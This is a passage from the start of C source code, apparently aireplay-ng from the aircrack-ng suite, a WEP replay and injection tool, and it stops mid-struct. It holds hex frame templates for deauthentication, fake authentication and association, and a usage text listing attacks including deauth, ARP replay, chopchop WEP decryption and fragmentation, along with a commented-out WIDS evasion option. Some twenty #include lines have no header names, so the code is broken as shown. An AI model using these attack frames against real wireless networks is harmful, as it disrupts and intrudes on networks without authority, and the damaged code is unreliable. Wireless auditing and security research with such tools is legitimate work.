/*
* 802.11 WEP replay & injection attacks
*
* Copyright (C) 2006, 2007, 2008 Thomas d'Otreppe
* Copyright (C) 2004, 2005 Christophe Devine
*
* WEP decryption attack (chopchop) developed by KoreK
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#if defined(linux)
#include
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "version.h"
#include "pcap.h"
#include "osdep/osdep.h"
#include "crypto.h"
#define ARPHRD_IEEE80211 801
#define ARPHRD_IEEE80211_PRISM 802
#define ARPHRD_IEEE80211_FULL 803
#ifndef ETH_P_80211_RAW
#define ETH_P_80211_RAW 25
#endif
#define RTC_RESOLUTION 8192
#define REQUESTS 30
#define MAX_APS 20
#define NEW_IV 1
#define RETRY 2
#define ABORT 3
#define DEAUTH_REQ \
"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \
"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
#define AUTH_REQ \
"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
#define ASSOC_REQ \
"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
#define NULL_DATA \
"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
#define RTS \
"\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
#define RATES \
"\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
#define PROBE_REQ \
"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
#define PCT { struct tm *lt; time_t tc = time( NULL ); \
lt = localtime( &tc ); printf( "%02d:%02d:%02d ", \
lt->tm_hour, lt->tm_min, lt->tm_sec ); }
#define RATE_NUM 12
#define RATE_1M 1000000
#define RATE_2M 2000000
#define RATE_5_5M 5500000
#define RATE_11M 11000000
#define RATE_6M 6000000
#define RATE_9M 9000000
#define RATE_12M 12000000
#define RATE_18M 18000000
#define RATE_24M 24000000
#define RATE_36M 36000000
#define RATE_48M 48000000
#define RATE_54M 54000000
int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M};
extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
extern char * searchInside(const char * dir, const char * filename);
extern int maccmp(unsigned char *mac1, unsigned char *mac2);
extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac);
extern int check_crc_buf( unsigned char *buf, int len );
extern const unsigned long int crc_tbl[256];
extern const unsigned char crc_chop_tbl[256][4];
char usage[] =
"\n"
" %s - (C) 2006,2007,2008 Thomas d\'Otreppe\n"
" Original work: Christophe Devine\n"
" http://www.aircrack-ng.org\n"
"\n"
" usage: aireplay-ng \n"
"\n"
" Filter options:\n"
"\n"
" -b bssid : MAC address, Access Point\n"
" -d dmac : MAC address, Destination\n"
" -s smac : MAC address, Source\n"
" -m len : minimum packet length\n"
" -n len : maximum packet length\n"
" -u type : frame control, type field\n"
" -v subt : frame control, subtype field\n"
" -t tods : frame control, To DS bit\n"
" -f fromds : frame control, From DS bit\n"
" -w iswep : frame control, WEP bit\n"
" -D : disable AP detection\n"
"\n"
" Replay options:\n"
"\n"
" -x nbpps : number of packets per second\n"
" -p fctrl : set frame control word (hex)\n"
" -a bssid : set Access Point MAC address\n"
" -c dmac : set Destination MAC address\n"
" -h smac : set Source MAC address\n"
" -g value : change ring buffer size (default: 8)\n"
" -F : choose first matching packet\n"
"\n"
" Fakeauth attack options:\n"
"\n"
" -e essid : set target AP SSID\n"
" -o npckts : number of packets per burst (0=auto, default: 1)\n"
" -q sec : seconds between keep-alives\n"
" -y prga : keystream for shared key auth\n"
"\n"
" Arp Replay attack options:\n"
"\n"
" -j : inject FromDS packets\n"
"\n"
" Fragmentation attack options:\n"
"\n"
" -k IP : set destination IP in fragments\n"
" -l IP : set source IP in fragments\n"
"\n"
" Test attack options:\n"
"\n"
" -B : activates the bitrate test\n"
"\n"
/*
" WIDS evasion options:\n"
" -y value : Use packets older than n packets\n"
" -z : Ghosting\n"
"\n"
*/
" source options:\n"
"\n"
" -i iface : capture packets from this interface\n"
" -r file : extract packets from this pcap file\n"
"\n"
" attack modes (Numbers can still be used):\n"
"\n"
" --deauth count : deauthenticate 1 or all stations (-0)\n"
" --fakeauth delay : fake authentication with AP (-1)\n"
" --interactive : interactive frame selection (-2)\n"
" --arpreplay : standard ARP-request replay (-3)\n"
" --chopchop : decrypt/chopchop WEP packet (-4)\n"
" --fragment : generates valid keystream (-5)\n"
" --caffe-latte : query a client for new IVs (-6)\n"
" --cfrag : fragments against a client (-7)\n"
" --test : tests injection and quality (-9)\n"
"\n"
" --help : Displays this usage screen\n"
"\n";
struct options
{
unsigned char f_bssid[6];
unsigned char f_dmac[6];
unsigned char f_smac[6];
int f_minlen;
int f_maxlen;
int f_type;
int f_subtype;
int f_tods;
int f_fromds;
int f_iswep;
int r_nbpps;
int r_fctrl;
unsigned char r_bssid[6];
unsigned char r_dmac[6];
unsigned char r_smac[6];
unsigned char r_dip[4];
unsigned char r_sip[4];
char r_essid[33];
int r_fromdsinj;
char r_smac_set;
char ip_out[16]; //16 for 15 chars + \x00
char ip_in[16];
int port_out;
int port_in;
char